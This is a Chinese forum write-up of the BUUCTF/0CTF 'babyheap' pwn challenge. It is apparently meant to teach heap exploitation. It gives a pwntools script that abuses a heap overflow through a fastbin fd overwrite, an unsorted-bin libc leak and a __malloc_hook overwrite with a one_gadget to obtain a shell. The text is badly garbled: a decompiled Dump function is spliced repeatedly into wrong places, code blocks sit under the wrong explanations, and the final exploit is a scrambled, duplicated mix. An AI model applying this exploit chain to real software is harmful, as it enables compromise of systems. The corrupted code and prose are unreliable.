登录/ 注册
 找回密码
 立即注册
关闭

CSDN热搜

程序园 精品问答 技术交流 资源下载
返回列表 发新帖
首页 › 业界区 › 业界 ›BUUCTF-babyheap_0ctf_2017题解（含详细过程与思路分析 ...

BUUCTF-babyheap_0ctf_2017题解（含详细过程与思路分析）

袂沐 2025-9-25 10:43:34
一、题目来源

BUUCTF-Pwn-babysigned int __fastcall Dump(__int64 a1)
{
  signed int result; // eax
  signed int v2; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = input_longint();
  v2 = result;
  if ( result >= 0 && result <= 15 )
  {
    result = *(_DWORD *)(24LL * result + a1);
    if ( result == 1 )
    {
      puts("Content: ");
      puts_content(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));
      result = puts(byte_14F1);
    }
  }
  return result;
}_0ctf_2017
1.png
二、信息搜集

将题目给的可执行文件丢入Linux虚拟机中
通过file命令查看文件类型：
2.png

通过checksec命令查看本题采用的保护机制：
3.png

注意：
我的Ubuntu版本与题目版本不一致，为了消除libc版本不同的干扰，于是我使用了pwninit
不清楚这个工具的可以上网搜搜，对解题思路的理解没有任何的影响
三、反汇编文件开始分析

将题目给的二进制文件丢入64位的Ida Pro中进行反汇编操作
看到汇编代码比较多，为了快速理解程序大致逻辑，我们通过

  • 看C语言的方式来理解程序逻辑
  • 边运行程序边看代码
首先看到main函数：
  1. __int64 __fastcall main(__int64 a1, char **a2, char **a3)
  2. {
  3.   __int64 v4; // [rsp+8h] [rbp-8h]
  5.   v4 = sub_B70(a1, a2, a3);
  6.   while ( 1 )
  7.   {
  8.     sub_CF4();
  9.     sub_138C();
  10.     switch ( (unsigned __int64)off_14F4 )
  11.     {
  12.       case 1uLL:
  13.         sub_D48(v4);
  14.         break;
  15.       case 2uLL:
  16.         sub_E7F(v4);
  17.         break;
  18.       case 3uLL:
  19.         sub_F50(v4);
  20.         break;
  21.       case 4uLL:
  22.         sub_1051(v4);
  23.         break;
  24.       case 5uLL:
  25.         return 0LL;
  26.       default:
  27.         continue;
  28.     }
  29.   }
  30. }
复制代码
结合程序运行情况
4.png

可以将上述反编译出来的C语言代码进行重命名操作：
  1. __int64 __fastcall main(__int64 a1, char **a2, char **a3)
  2. {
  3.   char *v4; // [rsp+8h] [rbp-8h]
  5.   v4 = mmap_a_place_for_struct_of_signed int __fastcall Dump(__int64 a1)
  6. {
  7.   signed int result; // eax
  8.   signed int v2; // [rsp+1Ch] [rbp-4h]
  10.   printf("Index: ");
  11.   result = input_longint();
  12.   v2 = result;
  13.   if ( result >= 0 && result <= 15 )
  14.   {
  15.     result = *(_DWORD *)(24LL * result + a1);
  16.     if ( result == 1 )
  17.     {
  18.       puts("Content: ");
  19.       puts_content(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));
  20.       result = puts(byte_14F1);
  21.     }
  22.   }
  23.   return result;
  24. }();
  25.   while ( 1 )
  26.   {
  27.     menu();
  28.     input_longint();
  29.     switch ( (unsigned __int64)off_14F4 )
  30.     {
  31.       case 1uLL:
  32.         Allocate((__int64)v4);
  33.         break;
  34.       case 2uLL:
  35.         Fill((__int64)v4);
  36.         break;
  37.       case 3uLL:
  38.         Free((__int64)v4);
  39.         break;
  40.       case 4uLL:
  41.         Dump((__int64)v4);
  42.         break;
  43.       case 5uLL:
  44.         return 0LL;
  45.       default:
  46.         continue;
  47.     }
  48.   }
  49. }
复制代码
switch的几个分支非常好理解，就是和程序运行出来的几个选项是一一对应的
简单解释一下“menu”和“input_longint”

  • menu：点进该函数就能看到几个选项的输出，因此我将其重命名为menu（菜单）
  • input_longint：点进该函数，简单分析后就能看出该函数的作用就是一个一个地将输入缓冲区的输入读入某个指定位置，再将该输入进行atol转型成long int类型的数据，因此将其命名为input_longint
既然有四个功能，我们就逐一进行分析
但是，在分析之前，需要注意到这四个函数都传入了一个参数v4
v4来源于一个函数sub_B70(a1, a2, a3);的返回值
我们点进去查看一下：
  1. char *mmap_a_place_for_struct_of_signed int __fastcall Dump(__int64 a1)
  2. {
  3.   signed int result; // eax
  4.   signed int v2; // [rsp+1Ch] [rbp-4h]
  6.   printf("Index: ");
  7.   result = input_longint();
  8.   v2 = result;
  9.   if ( result >= 0 && result <= 15 )
  10.   {
  11.     result = *(_DWORD *)(24LL * result + a1);
  12.     if ( result == 1 )
  13.     {
  14.       puts("Content: ");
  15.       puts_content(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));
  16.       result = puts(byte_14F1);
  17.     }
  18.   }
  19.   return result;
  20. }()
  21. {
  22.   int fd; // [rsp+4h] [rbp-3Ch]
  23.   char *addr; // [rsp+8h] [rbp-38h]
  24.   __int64 v3; // [rsp+10h] [rbp-30h]
  25.   unsigned __int64 buf; // [rsp+20h] [rbp-20h]
  26.   unsigned __int64 v5; // [rsp+28h] [rbp-18h]
  27.   unsigned __int64 v6; // [rsp+38h] [rbp-8h]
  29.   v6 = __readfsqword(0x28u);
  30.   setvbuf(stdin, 0LL, 2, 0LL);
  31.   setvbuf(_bss_start, 0LL, 2, 0LL);
  32.   alarm(0x3Cu);
  33.   puts("===== Baby Heap in 2017 =====");
  34.   fd = open("/dev/urandom", 0);
  35.   if ( fd < 0 || read(fd, &buf, 0x10uLL) != 16 )
  36.     exit(-1);
  37.   close(fd);
  38.   addr = (char *)((buf
  39.                  - 93824992161792LL * ((unsigned __int64)(0xC000000294000009LL * (unsigned __int128)buf >> 64) >> 46)
  40.                  + 0x10000) & 0xFFFFFFFFFFFFF000LL);
  41.   v3 = (v5 - 3712 * (0x8D3DCB08D3DCB0DLL * (unsigned __int128)(v5 >> 7) >> 64)) & 0xFFFFFFFFFFFFFFF0LL;
  42.   if ( mmap(addr, 0x1000uLL, 3, 34, -1, 0LL) != addr )
  43.     exit(-1);
  44.   return &addr[v3];
  45. }
复制代码
可以看到一些很长很复杂的数字，但是我们只需要把握关键信息即可
我们要的是返回值，即&addr[v3];
addr又来自函数mmap，这函数相信大家再熟悉不过了，就是用于动态申请一片空间，且该函数还能设置对该空间的权限
参数v3的计算比较复杂，我们可以先继续分析下去，若不需要该参数那最好，如果需要我们再说
综上，这个函数就是开辟一片空间，也可以看到我将其命名为了“mmap_a_place_for_struct_of_signed int __fastcall Dump(__int64 a1)
{
  signed int result; // eax
  signed int v2; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = input_longint();
  v2 = result;
  if ( result >= 0 && result <= 15 )
  {
    result = *(_DWORD *)(24LL * result + a1);
    if ( result == 1 )
    {
      puts("Content: ");
      puts_content(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));
      result = puts(byte_14F1);
    }
  }
  return result;
}”（当然这个命名目前来看有点超前了，大家不用在意）
接下来我们逐个分析这四个关键函数
1、Allocate

对应代码：
  1. void __fastcall Allocate(__int64 a1)
  2. {
  3.   signed int i; // [rsp+10h] [rbp-10h]
  4.   signed int v2; // [rsp+14h] [rbp-Ch]
  5.   void *v3; // [rsp+18h] [rbp-8h]
  7.   for ( i = 0; i <= 15; ++i )
  8.   {
  9.     if ( !*(_DWORD *)(24LL * i + a1) )
  10.     {
  11.       printf("Size: ");
  12.       v2 = input_longint();
  13.       if ( v2 > 0 )
  14.       {
  15.         if ( v2 > 4096 )
  16.           v2 = 4096;
  17.         v3 = calloc(v2, 1uLL);
  18.         if ( !v3 )
  19.           exit(-1);
  20.         *(_DWORD *)(24LL * i + a1) = 1;
  21.         *(_QWORD *)(a1 + 24LL * i + 8) = v2;
  22.         *(_QWORD *)(a1 + 24LL * i + 16) = v3;
  23.         printf("Allocate Index %d\n", (unsigned int)i);
  24.       }
  25.       return;
  26.     }
  27.   }
  28. }
复制代码
不难看出，本函数的功能就是通过for循环的方式，找到之前申请的空间（V4）中无数据的地方（!*(_DWORD *)(24LL * i + a1) ），接着动态申请（calloc）用户指定大小的空间（上限4096），若申请成功，则将刚刚找到的空白位置（(_DWORD *)(24LL * i + a1)）的第一个8字节处赋值为1，第二个8字节处赋值为本次通过calloc申请的chunk大小，第三个8字节赋值为该chunk的地址
5.png

由此，我们可以分析出V4这片区域的作用：

  • 专门用于存放动态申请的chunk的相关信息，信息共24字节

    • 0-7字节：是否申请chunk成功，成功为1；未申请时为0
    • 8-15字节：申请的chunk的大小，此大小不包含chunk header
    • 16-23字节：申请的chunk所在的地址

  • 最多能存放16个chunk的信息（i = 0; i = 0 && (signed int)result  0 )      {        printf("Content: ");        result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);      }    }  }  return result;}[/code]有了之前的铺垫，就很好理解了
    用户输入index，他就能定位到指定的chunk的相关信息（那24个字节），他会先判断那片区域是否有chunk的信息（(_DWORD)result == 1），然后再向用户要Size信息，该信息会作为sub_11B2函数的一个参数
    那我们来看看函数sub_11B2
    1. __int64 __fastcall Fill(__int64 a1)
    2. {
    3.   __int64 result; // rax
    4.   int v2; // [rsp+18h] [rbp-8h]
    5.   int v3; // [rsp+1Ch] [rbp-4h]
    7.   printf("Index: ");
    8.   result = input_longint();
    9.   v2 = result;
    10.   if ( (signed int)result >= 0 && (signed int)result <= 15 )
    11.   {
    12.     result = *(unsigned int *)(24LL * (signed int)result + a1);
    13.     if ( (_DWORD)result == 1 )
    14.     {
    15.       printf("Size: ");
    16.       result = input_longint();
    17.       v3 = result;
    18.       if ( (signed int)result > 0 )
    19.       {
    20.         printf("Content: ");
    21.         result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
    22.       }
    23.     }
    24.   }
    25.   return result;
    26. }
    复制代码
    不难理解，这就是一个改版的read函数，输入的位置是*(_QWORD *)(24LL * v2 + a1 + 16)即chunk的user data部分，输入的长度是我们之前指定的大小（Size）
    讲到这，大家应该已经看出来了，这里存在堆溢出啊！
    目前还没看出具体的利用手段，先在这留个心眼
    3、Free

    对应代码：
    1. unsigned __int64 __fastcall sub_11B2(__int64 a1, unsigned __int64 a2)
    2. {
    3.   unsigned __int64 v3; // [rsp+10h] [rbp-10h]
    4.   ssize_t v4; // [rsp+18h] [rbp-8h]
    6.   if ( !a2 )
    7.     return 0LL;
    8.   v3 = 0LL;
    9.   while ( v3 < a2 )
    10.   {
    11.     v4 = read(0, (void *)(v3 + a1), a2 - v3);
    12.     if ( v4 > 0 )
    13.     {
    14.       v3 += v4;
    15.     }
    16.     else if ( *_errno_location() != 11 && *_errno_location() != 4 )
    17.     {
    18.       return v3;
    19.     }
    20.   }
    21.   return v3;
    22. }
    复制代码
    此时我们可以动态调试一下，看一下实际情况是否符合我们的预期，调试代码：
    1. __int64 __fastcall Free(__int64 a1)
    2. {
    3.   __int64 result; // rax
    4.   int v2; // [rsp+1Ch] [rbp-4h]
    6.   printf("Index: ");
    7.   result = input_longint();
    8.   v2 = result;
    9.   if ( (signed int)result >= 0 && (signed int)result <= 15 )
    10.   {
    11.     result = *(unsigned int *)(24LL * (signed int)result + a1);
    12.     if ( (_DWORD)result == 1 )
    13.     {
    14.       *(_DWORD *)(24LL * v2 + a1) = 0;
    15.       *(_QWORD *)(24LL * v2 + a1 + 8) = 0LL;
    16.       free(*(void **)(24LL * v2 + a1 + 16));
    17.       result = 24LL * v2 + a1;
    18.       *(_QWORD *)(result + 16) = 0LL;
    19.     }
    20.   }
    21.   return result;
    22. }
    复制代码
    运行，在新出来的gdb终端输入命令：
    1. signed int __fastcall Dump(__int64 a1)
    2. {
    3.   signed int result; // eax
    4.   signed int v2; // [rsp+1Ch] [rbp-4h]
    6.   printf("Index: ");
    7.   result = input_longint();
    8.   v2 = result;
    9.   if ( result >= 0 && result <= 15 )
    10.   {
    11.     result = *(_DWORD *)(24LL * result + a1);
    12.     if ( result == 1 )
    13.     {
    14.       puts("Content: ");
    15.       puts_content(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));
    16.       result = puts(byte_14F1);
    17.     }
    18.   }
    19.   return result;
    20. }
    复制代码
    6.png
    正如我们分析的一样，fastbin中已经有两个chunk了，且根据fd指针能知道该单链表的情况如下：
    7.png

    4、通过堆溢出修改fd指针

    先保持上面的动态调试不退出，我们先来看看溢出需要填充什么数据
    我们设计的是chunk0用于溢出，那么就从chunk0开始看
    8.png
    很明显：

    • 写入位置在0x6042af3ac010
    • 需要被覆盖的fd指针在0x6042af3ac050
    我们在覆盖的同时，尽量不要动不需要动的信息
    换言之就是尽量保持原样
    因此，我们的payload就是：
    1. from pwn import *
    3. exe = ELF("./pwn_patched")
    4. libc = ELF("./libc-2.23.so")
    5. ld = ELF("./ld-2.23.so")
    7. context.binary = exe
    8. context(arch="amd64",os="linux",log_level="debug")
    11. def conn():
    12.     if args.LOCAL:
    13.         r = process([exe.path])
    14.         if args.DEBUG:
    15.             gdb.attach(r)
    16.     else:
    17.         r = remote("node5.buuoj.cn",26330)
    19.     return r
    21. def allocate(p,size):
    22.     p.sendlineafter(b'Command: ',b"1")
    23.     p.sendlineafter(b'Size: ',str(size))
    25. # 输入的内容（content）部分需要是字节类型
    26. def fill(p,index,content):
    27.     p.sendlineafter(b'Command: ',b"2")
    28.     p.sendlineafter(b'Index: ',str(index))
    29.     p.sendlineafter(b'Size: ',str(len(content)))
    30.     p.sendlineafter(b'Content: ',content)
    32. def free(p,index):
    33.     p.sendlineafter(b'Command: ',b"3")
    34.     p.sendlineafter(b'Index: ',str(index))
    36. def dump(p,index):
    37.     p.sendlineafter(b'Command: ',b"4")
    38.     p.sendlineafter(b'Index: ',str(index))
    40. def main():
    41.     p = conn()
    43.     p.interactive()
    45. if __name__ == "__main__":
    46.     main()
    复制代码
    解释一下最后的p8(0x80)
    在内存中的十六进制数是按照小端序（本题信息搜集的时候，知道本题是小段序（little））进行排列的，换言之，我们要覆盖的fd部分在覆盖前内存中的样子是：
    1. allocate(p,0x10) # chunk 0
    2. allocate(p,0x10) # chunk 1
    3. allocate(p,0x10) # chunk 2
    4. allocate(p,0x10) # chunk 3
    5. allocate(p,0x80) # chunk 4
    复制代码
    而我们的目的，是将链条链接到chunk4上，即只需要修改最低有效位（0x20）成0x80（因为chunk4的地址0x6042af3ac080），也就是修改最低地址的一字节的数据就好了，因此使用的是p8(0x80)
    检查一下是否和我们想的一样，老方法，动态调试
    只要把
    1. free(p,1)
    2. free(p,2)
    复制代码
    挪到新输入的内容后面即可（后面不再提本步骤！）
    9.png
    发现的确如此，此时Fast Bin中变成了：
    10.png

    此时chunk4虽然没有被free，但已经存在于bin中，若此时在此申请chunk，根据程序Allocate的功能，又会出现一个指向chunk4的结构，也就是完成了双指
    5、再次动态申请chunk4

    在申请之前，有两个问题：

    • Fast Bin符合LIFO，即后进先出，那么先出的就是chunk2而非chunk4，因此我们需要Allocate两次
    • malloc的检查
    malloc的检查什么意思呢？
    我们知道，在Fast Bins中，每个Fast Bin里面的chunk的大小都是一致的
    换言之，原先chunk1的size大小是0x21（1是三位flag，不会计入实际大小，因此该chunk的大小为0x20），那么chunk1就会被存储在chunk大小都为0x20的Fast bin中
    那当我们再次malloc一个0x10大小的chunk的时候（malloc指定的大小是不含chunk header的（占0x10）），就会去chunk大小都为0x20的Fast bin中去查找，但是此时找到一个大小为0x90的chunk，malloc就会检查出异常，因而程序终止
    因此，我们在申请之前，再通过堆溢出（这次通过chunk3来，因为近），修改chunk4的size字段，将其修改为0x21，从而绕过判断
    代码如下：
    1. #!/usr/bin/env python3
    3. from pwn import *
    5. exe = ELF("./pwn_patched")
    6. libc = ELF("./libc-2.23.so")
    7. ld = ELF("./ld-2.23.so")
    9. context.binary = exe
    10. context(arch="amd64",os="linux",log_level="debug")
    13. def conn():
    14.     if args.LOCAL:
    15.         r = process([exe.path])
    16.         if args.DEBUG:
    17.             gdb.attach(r)
    18.     else:
    19.         r = remote("node5.buuoj.cn",26330)
    21.     return r
    23. def allocate(p,size):
    24.     p.sendlineafter(b'Command: ',b"1")
    25.     p.sendlineafter(b'Size: ',str(size))
    27. # 输入的内容（content）部分需要是字节类型
    28. def fill(p,index,content):
    29.     p.sendlineafter(b'Command: ',b"2")
    30.     p.sendlineafter(b'Index: ',str(index))
    31.     p.sendlineafter(b'Size: ',str(len(content)))
    32.     p.sendlineafter(b'Content: ',content)
    34. def free(p,index):
    35.     p.sendlineafter(b'Command: ',b"3")
    36.     p.sendlineafter(b'Index: ',str(index))
    38. def dump(p,index):
    39.     p.sendlineafter(b'Command: ',b"4")
    40.     p.sendlineafter(b'Index: ',str(index))
    42. def main():
    43.     p = conn()
    45.     gdb_script = f'''
    46.     '''
    48.     allocate(p,0x10) # chunk 0
    49.     allocate(p,0x10) # chunk 1
    50.     allocate(p,0x10) # chunk 2
    51.     allocate(p,0x10) # chunk 3
    52.     allocate(p,0x80) # chunk 4
    54.     free(p,1)
    55.     free(p,2)
    57.     gdb.attach(p,gdbscript = gdb_script)
    58.     pause()
    60.     p.interactive()
    63. if __name__ == "__main__":
    64.     main()
    复制代码
    此时就实现了双指
    11.png

    同样，动态调试验证一下：
    这里有个问题，就是我们之前提到的开辟的空白空间v4是不确定位置的
    但是若要看到双指，就需要去v4空间才能看到
    我们同样在动态调试界面，查看一下虚拟内存映射
    12.png

    我们知道，通过mmap动态申请的内存具有特点：

    • 大小0x1000字节（mmap(addr, 0x1000uLL……）
    • 该空间不会被内核标记为signed int __fastcall Dump(__int64 a1)
      {
        signed int result; // eax
        signed int v2; // [rsp+1Ch] [rbp-4h]

        printf("Index: ");
        result = input_longint();
        v2 = result;
        if ( result >= 0 && result <= 15 )
        {
          result = *(_DWORD *)(24LL * result + a1);
          if ( result == 1 )
          {
            puts("Content: ");
            puts_content(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));
            result = puts(byte_14F1);
          }
        }
        return result;
      }，而是会与现有内存空间“粘”在一起
    因此，我们运行两次动态调试代码，并都使用vmmap命令查看内存映射空间
    13.png

    发现有明显变化的在上面部分，我们可以一点一点地查看
    直到发现：
    14.png
    1不就是标记吗？0x10不就是大小吗？
    没错，这里就是存放chunk信息的地方
    而且可以看到，index2和index4所对应的chunk是同一个，都是chunk4
    15.png

    6、free chunk4 to Unsorted Bin

    接下来就是泄露的预处理部分了，即先让chunk4进入Unsorted Bin
    之前也提到过，要让其进入Unsorted Bin需要满足两个条件：

    • 释放（free）的chunk大小不属于fast bin的范围
    • 该chunk不和top chunk紧邻时
    关于第一条，我们只需要将其大小改回去（0x21 -> 0x91），然后free即可
    关于第二条，由于chunk4是最晚申请的，他就挨着top chunk，我们也可以通过动态调试来验证这一点
    16.png

    很明显，0x……090 + 0x90 = 0x……110，他们就是挨着的
    为了满足条件二，我们可以再申请一个chunk5，让chunk4与top chunk分开
    于是payload：
    1. heap
    复制代码
    动态调试看看效果：
    17.png

    chunk4成功进入unsortedbin，且出现特征：“如果usorted bin中只有一个bin ，那么它的fd和bk指针会指向同一个地址，就是unsorted bin链表的头部”
    7、libc基址的计算

    计算libc基址，我们需要知道以下知识点：

    • “small bins, large bins, unsorted bin统一存放在malloc_state这个结构体中的一个数组中”
    • malloc_state是属于main_arena的
    • main_arena是一个全局变量，位于libc的数据段
    因此，如果我们知道上述情况中的fd指针/bk指针所指向的地址，那我们也就相当于知道了main_arena的基址（根据固定的偏移量），也就是知道了libc的基址（根据固定的偏移量）
    18.png
    很明显，接下来我们要做的就是偏移量的确定
    （1）泄露的fd所指向的地址与main_arena的偏移量

    之前动态调试我们知道了fd指向的地址是0x751a6fd8eb78
    通过命令：
    1. payload = p64(0)*3
    2. payload += p64(0x21)
    3. payload += p64(0)*3
    4. payload += p64(0x21)
    5. payload += p8(0x80)
    6. fill(p,0,payload)
    复制代码
    19.png

    可以看到，虽然我们使用的是查看内存中存储的数据的命令，但是在显示结果的同时，pwndbg插件还自动帮我们计算出来了该地址（我们访问的内存地址）与main_arena基址之间的差值
    差值为88B即0x58B
    （2）main_arena与libc基址的偏移量

    pwntools提供了边界的方法：
    1. \x20\xc0……\x60\x00\x00
    复制代码
    （3）本步骤的payload
    1.     gdb.attach(p,gdbscript = gdb_script)
    2.     pause()
    复制代码
    我们此时直接运行Poc，看一下效果：
    20.png

    可以看到libc的地址计算出来了，并且是一个页对齐的地址，很符合一个libc基址的样子
    8、__malloc_hook

    目标：修改__malloc_hook为one_gadget的地址
    手段：House Of Spirit
    因此，我们需要再次在Fast Bin中放入chunk，然后修改fd指针完成链接的重定向
    关键点来了，我们上面讲过：

    • 同一链接下的chunk的大小相同
    • malloc会检查bin中的数据大小
    我们最终的目的是在__malloc_hook附近创建chunk然后写入数据，实现任意地址写入
    而实现任意地址写入的方法就是修改链条的指向（指向__malloc_hook附近的那块地址，作为伪chunk）
    因此，我们需要通过__malloc_hook附近的伪size字段的大小来决定我们需要申请的chunk的大小是多少
    这里很绕，大家可以多理解理解
    是在理解不了的可以看看最终的Poc组成，想想“为什么这么做？”这个问题
    通过动态调试观察__malloc_hook附近是否有作为伪chunk的好地方
    21.png

    发现有连续的8字节可以作为我们的伪chunk的size，精确定位一下：
    22.png

    红线划着的地址就是伪chunk的地址，伪size就是0x7a了
    注意，伪size的大小可能会变化，大家根据自己的实际情况来
    但是本题是有ALSR、PIE的，因此该地址最好与泄露出来的libc地址进行联系，即算差值
    vmmap查看内存映射
    23.png

    确定libc基址是0x7a01d628a000
    计算差值：
    24.png

    差值就是0x3c4aed
    此时，我们也可以确定要放入fastbin中chunk的大小了，就是0x70（即Allocate(0x60)）
    为什么0x70就可以呢，0x70也不等于0x7a啊？
    因为malloc检查的是大致的范围并不是精确范围
    于是，我们可以构造payload：
    1.     payload = p64(0)*3
    2.     payload += p8(0x21)
    3.     fill(p,3,payload)
    5.     allocate(p,0x10) # index1指向chunk2
    6.     allocate(p,0x10) # index2指向chunk4，由于chunk4并非常规free，还有原本的index4也指向chunk4
    复制代码
    补充一下伪chunk写入数据的部分的相关分析：
    我们写入数据的地方在0x7a01d664eafd
    25.png

    __malloc_hook的地方在：0x7a01d664eb10
    26.png

    他们之间的差值为：0x13，即19
    27.png

    那么我们的padding就是0x13，即对应payload：
    1.     # 大小改回去
    2.     payload = p64(0) * 3
    3.     payload += p64(0x91)
    4.     fill(p,3,payload)
    6.     '''
    7.     由于chunk4接近top chunk
    8.     为了能让其顺利进入unsorted bin，先申请一个chunk5，让chunk4与top chunk分开
    9.     '''
    10.     allocate(p,0x80)
    12.     # chunk4被放入unsorted bin
    13.     free(p,4)
    复制代码
    接着就是写入one_gadget的地址到__malloc_hook的位子了，对应：
    1. x/gx 0x751a6fd8eb78
    复制代码
    one_gadget的寻找:
    28.png

    尝试几个后，还是libc_base+0x4526a这个one_gadget靠谱
    9、getshell

    再次调用malloc
    1. from pwn import *
    2. main_arena_offset = libc.symbols['main_arena']
    复制代码
    就会执行one_gadget，即getshell
    10、完整的Poc
    1. #!/usr/bin/env python3from pwn import *exe = ELF("./pwn_patched")libc = ELF("./libc-2.23.so")ld = ELF("./ld-2.23.so")context.binary = execontext(arch="amd64",os="linux",log_level="debug")def conn():    if args.LOCAL:        r = process([exe.path])        if args.DEBUG:            gdb.attach(r)    else:        r = remote("node5.buuoj.cn",26330)    return rdef allocate(p,size):    p.sendlineafter(b'Command: ',b"1")    p.sendlineafter(b'Size: ',str(size))# 输入的内容（content）部分需要是字节类型def fill(p,index,content):    p.sendlineafter(b'Command: ',b"2")    p.sendlineafter(b'Index: ',str(index))    p.sendlineafter(b'Size: ',str(len(content)))    p.sendlineafter(b'Content: ',content)def free(p,index):    p.sendlineafter(b'Command: ',b"3")    p.sendlineafter(b'Index: ',str(index))def dump(p,index):    p.sendlineafter(b'Command: ',b"4")    p.sendlineafter(b'Index: ',str(index))def main():    p = conn()    gdb_script = f'''    '''    allocate(p,0x10) # chunk 0     allocate(p,0x10) # chunk 1    allocate(p,0x10) # chunk 2    allocate(p,0x10) # chunk 3    allocate(p,0x80) # chunk 4    free(p,1)    free(p,2)    payload = p64(0)*3    payload += p64(0x21)    payload += p64(0)*3    payload += p64(0x21)    payload += p8(0x80)    fill(p,0,payload)#!/usr/bin/env python3
    3. from pwn import *
    5. exe = ELF("./pwn_patched")
    6. libc = ELF("./libc-2.23.so")
    7. ld = ELF("./ld-2.23.so")
    9. context.binary = exe
    10. context(arch="amd64",os="linux",log_level="debug")
    13. def conn():
    14.     if args.LOCAL:
    15.         r = process([exe.path])
    16.         if args.DEBUG:
    17.             gdb.attach(r)
    18.     else:
    19.         r = remote("node5.buuoj.cn",26330)
    21.     return r
    23. def allocate(p,size):
    24.     p.sendlineafter(b'Command: ',b"1")
    25.     p.sendlineafter(b'Size: ',str(size))
    27. # 输入的内容（content）部分需要是字节类型
    28. def fill(p,index,content):
    29.     p.sendlineafter(b'Command: ',b"2")
    30.     p.sendlineafter(b'Index: ',str(index))
    31.     p.sendlineafter(b'Size: ',str(len(content)))
    32.     p.sendlineafter(b'Content: ',content)
    34. def free(p,index):
    35.     p.sendlineafter(b'Command: ',b"3")
    36.     p.sendlineafter(b'Index: ',str(index))
    38. def dump(p,index):
    39.     p.sendlineafter(b'Command: ',b"4")
    40.     p.sendlineafter(b'Index: ',str(index))
    42. def main():
    43.     p = conn()
    45.     gdb_script = f'''
    46.     '''
    48.     allocate(p,0x10) # chunk 0
    49.     allocate(p,0x10) # chunk 1
    50.     allocate(p,0x10) # chunk 2
    51.     allocate(p,0x10) # chunk 3
    52.     allocate(p,0x80) # chunk 4
    54.     free(p,1)
    55.     free(p,2)
    57.     gdb.attach(p,gdbscript = gdb_script)
    58.     pause()
    60.     p.interactive()
    63. if __name__ == "__main__":
    64.     main()    # 改回chunk4的大小，为了其能被放入unsorted bin    payload = p64(0) * 3    payload += p64(0x91)    fill(p,3,payload)    '''     由于chunk4接近top chunk    为了能让其顺利进入unsorted bin（根据定义：该`chunk`不和`top chunk`紧邻时，    该`chunk`会被首先放到unsorted bin中），先申请一个chunk5，让chunk4与top chunk分开    '''    allocate(p,0x80)    # chunk4被放入unsorted bin    free(p,4)    offset_unsortedbin = 0x58    offset_main_arena = libc.symbols['main_arena']    dump(p,2)    p.recvline(2)    leak_bin1 = u64(p.recv(8))    print(hex(leak_bin1))    libc_base = leak_bin1 - offset_unsortedbin - offset_main_arena    print(f'leaked_libc_base : {hex(int(libc_base))}')    allocate(p,0x60)    free(p,4)    # gdb.attach(p,gdbscript = gdb_script)    # pause()    payload = p64(libc_base+0x3c4aed)    fill(p,2,payload)    allocate(p,0x60)    allocate(p,0x60)    # 大小改回去
    65.     payload = p64(0) * 3
    66.     payload += p64(0x91)
    67.     fill(p,3,payload)
    69.     '''
    70.     由于chunk4接近top chunk
    71.     为了能让其顺利进入unsorted bin，先申请一个chunk5，让chunk4与top chunk分开
    72.     '''
    73.     allocate(p,0x80)
    75.     # chunk4被放入unsorted bin
    76.     free(p,4)    payload += p64(libc_base+0x4526a)    fill(p,6,payload)    from pwn import *
    77. main_arena_offset = libc.symbols['main_arena']    p.interactive()if __name__ == "__main__":    main()
    复制代码
    本地测试：
    29.png

    成功拿下本地shell
    远程测试：
    30.png

    成功拿下flag！
    六、本题学习资料推荐

    本题涉及到的知识点很多
    而且如果大家是顺着刷BUUCTF-Pwn题目的，这个应该是大家遇到的第一个堆类型的Pwn
    从栈到堆是一个很大的跨越，需要学习堆的相关知识（比如数据结构）
    没有基础知识的支撑是做不出这题的，所以推荐大家先去ctf-wiki上学习一下堆的基础知识
    再结合本文章来pwn掉这道题！
    记住，慢慢来，你终会理解并解决这道题的！

    来源：程序园用户自行投稿发布，如果侵权，请联系站长删除
    免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！
BUUCTFbabyheap0ctf2017题解

使用道具 举报

相关推荐
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册
发帖
袂沐
2025-9-25 10:43:34

0

粉丝关注

22

主题发布

板块介绍填写区域，请于后台编辑
微信扫一扫